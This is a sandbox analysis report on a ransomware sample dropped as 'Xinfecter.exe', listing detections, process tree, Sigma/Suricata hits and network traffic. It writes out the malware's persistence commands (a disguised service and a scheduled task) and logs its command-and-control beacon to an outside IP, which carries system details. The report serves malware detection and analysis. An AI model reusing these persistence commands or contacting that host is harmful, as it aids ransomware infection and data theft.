Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
lEUy79aLAW.exe

Overview

General Information

Sample name:lEUy79aLAW.exe
renamed because original name is a hash value
Original sample name:11ce7e8787a5177ad0f12ce96fc9ca848f463c4608d935f97d940240453ff00d.exe
Analysis ID:1569983
MD5:682db93e884f81383ce078df1353ff1b
SHA1:5ff824a3fa5c45e5de5853e643aa1da058c9878d
SHA256:11ce7e8787a5177ad0f12ce96fc9ca848f463c4608d935f97d940240453ff00d
Tags:exeuser-JAMESWT_MHT
Infos:

Detection

TrojanRansom
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected TrojanRansom
AI detected suspicious sample
Contains functionality to clear event logs
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the startup folder
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample is not signed and drops a device driver
Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Suspicious File Creation In Uncommon AppData Folder
Sigma detected: Suspicious New Service Creation
Sigma detected: WScript or CScript Dropper
Uses known network protocols on non-standard ports
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Checks for available system drives (often done to infect USB drives)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to enumerate network shares
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates driver files
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Startup Folder File Write
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • lEUy79aLAW.exe (PID: 3332 cmdline: "C:\Users\user\Desktop\lEUy79aLAW.exe" MD5: 682DB93E884F81383CE078DF1353FF1B)
    • conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6192 cmdline: C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • tasklist.exe (PID: 5960 cmdline: tasklist /v /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 7092 cmdline: findstr /i "dcdcf" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
    • cmd.exe (PID: 1412 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • sc.exe (PID: 7104 cmdline: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
    • cmd.exe (PID: 3228 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • sc.exe (PID: 6128 cmdline: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
    • cmd.exe (PID: 5968 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • cmd.exe (PID: 3364 cmdline: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • wscript.exe (PID: 2964 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" MD5: FF00E0480075B095948000BDC66E81F0)
        • cmd.exe (PID: 2284 cmdline: C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 3116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 1248 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 3712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • tasklist.exe (PID: 6660 cmdline: tasklist /v MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 2072 cmdline: find /I /c "dcdcf" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 7192 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 7644 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 7652 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 7696 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 7772 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 7780 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 7820 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 7912 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 7920 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 7956 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 8032 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 8040 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 8076 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 8152 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 8160 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 1784 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 4676 cmdline: tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 4852 cmdline: find /I "lEUy79aLAW.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
    • cmd.exe (PID: 6660 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • schtasks.exe (PID: 1564 cmdline: schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f MD5: 48C2FE20575769DE916F48EF0676A965)
    • cmd.exe (PID: 1784 cmdline: C:\Windows\system32\cmd.exe /c echo %date%-%time% MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • cmd.exe (PID: 432 cmdline: C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • systeminfo.exe (PID: 6188 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)
      • find.exe (PID: 6192 cmdline: find /i "os name" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
    • cmd.exe (PID: 6648 cmdline: C:\Windows\system32\cmd.exe /c systeminfo|find /i "original" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • systeminfo.exe (PID: 3292 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)
      • find.exe (PID: 3536 cmdline: find /i "original" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
    • cmd.exe (PID: 6576 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
  • cmd.exe (PID: 5808 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
  • cmd.exe (PID: 7104 cmdline: C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • wscript.exe (PID: 6576 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
      • cmd.exe (PID: 7216 cmdline: C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7316 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7368 cmdline: tasklist /v MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
        • find.exe (PID: 7376 cmdline: find /I /c "dcdcf" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
  • Xinfecter.exe (PID: 7452 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" MD5: 682DB93E884F81383CE078DF1353FF1B)
    • conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: lEUy79aLAW.exe PID: 3332JoeSecurity_TrojanRansomYara detected TrojanRansomJoe Security
    Process Memory Space: Xinfecter.exe PID: 7452JoeSecurity_TrojanRansomYara detected TrojanRansomJoe Security

      Sigma Signatures

      System Summary

      barindex
      Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation
      Source: Threat createdAuthor: @SBousseaden (detection), Thomas Patzke (rule): Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 6576, StartAddress: 8BDBCC0, TargetImage: C:\Windows\SysWOW64\cmd.exe, TargetProcessId: 6576
      Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
      Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 6576, StartAddress: 8BDBCC0, TargetImage: C:\Windows\SysWOW64\cmd.exe, TargetProcessId: 6576
      Sigma detected: Suspicious File Creation In Uncommon AppData Folder
      Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\lEUy79aLAW.exe, ProcessId: 3332, TargetFilename: C:\Users\user\AppData\S-6748.bat
      Sigma detected: Suspicious New Service Creation
      Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ProcessId: 7104, ProcessName: sc.exe
      Sigma detected: WScript or CScript Dropper
      Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3364, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , ProcessId: 2964, ProcessName: wscript.exe
      Sigma detected: Startup Folder File Write
      Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\lEUy79aLAW.exe, ProcessId: 3332, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
      Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3364, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , ProcessId: 2964, ProcessName: wscript.exe
      Sigma detected: New Service Creation Using Sc.EXE
      Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1412, ParentProcessName: cmd.exe, ProcessCommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ProcessId: 7104, ProcessName: sc.exe

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-06T13:42:01.978932+010020458211Malware Command and Control Activity Detected192.168.2.549705185.147.34.533586TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: lEUy79aLAW.exeAvira: detected
      Antivirus detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeAvira: detection malicious, Label: HEUR/AGEN.1353205
      Multi AV Scanner detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeReversingLabs: Detection: 86%
      Multi AV Scanner detection for submitted file
      Source: lEUy79aLAW.exeReversingLabs: Detection: 86%
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
      Machine Learning detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJoe Sandbox ML: detected
      Machine Learning detection for sample
      Source: lEUy79aLAW.exeJoe Sandbox ML: detected
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24230 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,0_2_00A24230
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A247F0 CryptReleaseContext,0_2_00A247F0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24900 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,0_2_00A24900
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24390 CryptAcquireContextA,GetLastError,CryptReleaseContext,0_2_00A24390
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24720 CryptReleaseContext,0_2_00A24720
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24760 CryptGenRandom,__CxxThrowException@8,0_2_00A24760
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34230 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,42_2_00C34230
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C347F0 CryptReleaseContext,42_2_00C347F0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34900 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,42_2_00C34900
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34390 CryptAcquireContextA,GetLastError,CryptReleaseContext,42_2_00C34390
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34760 CryptGenRandom,__CxxThrowException@8,42_2_00C34760
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34720 CryptReleaseContext,42_2_00C34720
      Source: lEUy79aLAW.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: lEUy79aLAW.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: z:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: x:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: v:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: t:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: r:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: p:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: n:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: l:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: j:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: h:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: f:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: b:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: y:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: w:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: u:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: s:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: q:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: o:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: m:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: k:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: i:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: g:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: e:Jump to behavior
      Source: C:\Windows\System32\cmd.exeFile opened: c:
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile opened: a:Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D4500 NetUserEnum,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,0_2_009D4500
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE4500 NetUserEnum,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,42_2_00BE4500
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D8240 SetErrorMode,FindFirstFileW,0_2_009D8240
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D8380 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,0_2_009D8380
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,0_2_009DAF50
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D9ABA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,0_2_009D9ABA
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A8BA6B FindFirstFileExA,0_2_00A8BA6B
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE8240 SetErrorMode,FindFirstFileW,42_2_00BE8240
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE8380 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,42_2_00BE8380
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE9ABA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,42_2_00BE9ABA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C9BA6B FindFirstFileExA,42_2_00C9BA6B
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DD950 GetLogicalDriveStringsA,0_2_009DD950

      Networking

      barindex
      Suricata IDS alerts for network traffic
      Source: Network trafficSuricata IDS: 2045821 - Severity 1 - ET MALWARE [ANY.RUN] RCRU64 Ransomware Variant CnC Activity : 192.168.2.5:49705 -> 185.147.34.53:3586
      Uses known network protocols on non-standard ports
      Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 3586
      Source: global trafficTCP traffic: 192.168.2.5:49705 -> 185.147.34.53:3586
      Source: global trafficHTTP traffic detected: GET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:42:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8aJ3dtuKW6z3I8gxYSEQT1JEP9SrTOl1Ixpoj2IkATObrN+oHobGi8392GNrHH0GxeJKM3Fse4Dx6VvGkJQWpGKgmfMWrB62mve4jaay+2I8L3YbeiDfX88Ssijr77yu3K0TojJKWxhf0PTDyJbrt0t6toUkhY7zguC6aUlDrzeRClYPnxEeJ/fKKwjia/RaJkddb8fw6BNNaLkMF6pl/HQaW99Wt4sXjMG0Ix2xh1/xQpi6Ab9yxGoqUEcIPMdPuRXEk88hL11BibuS3fQ9T9iae05FHGnKfx9mzcm3smOaWRamhb60M0tEOYvmme3PYTfmHlpB/37Ubbkhg3RcnkOOpX8ViXCwU+EG+IsPCD9vBtYS0uJQLvekv3X8IUDcoiEH4Ta6ZTvR6AFWVwhNsspEbmoPNFZfn+dM+ZZy9mmTDcUQ2tAe5Cvfi1lz9REY2Our0OEJuqao2IgCNhYl4+1k7UIpn2/9bhwS9J2pc/e73fwR0H3XcIeBQs6Bv/KEx2J7x23VvlzrFSiANycS2ZBXvfRfyYyA1qwQVQq7YdDGpZMnU8Jed4cNpJ2D79gUOV+dhB3Q1wtQyqh6/392zr+SqpsUrOQNVfUbAgERAoIBADphGU/+LkDtaTWPtPxG2cw67iqhrcNvujEtQA+aCvoVPJpJSsBSTMfuH0VVLGyuF2KQO2lNtZY1WyfzCmmaRC+CFeBSZsAPXqVzGVvq8rey48a4jBHaKazreXkH9csNw/iLuwFvYeobD1+MdlWwyMYc+PkYR9V0jObdT8Dde+GpBT7kbGW5vrVWSFXRy+DmRf+TXQ2FKTl1UqmGruPUcu9YmStvbXMuEySjgIIMXpNV9TTms8iY96MT0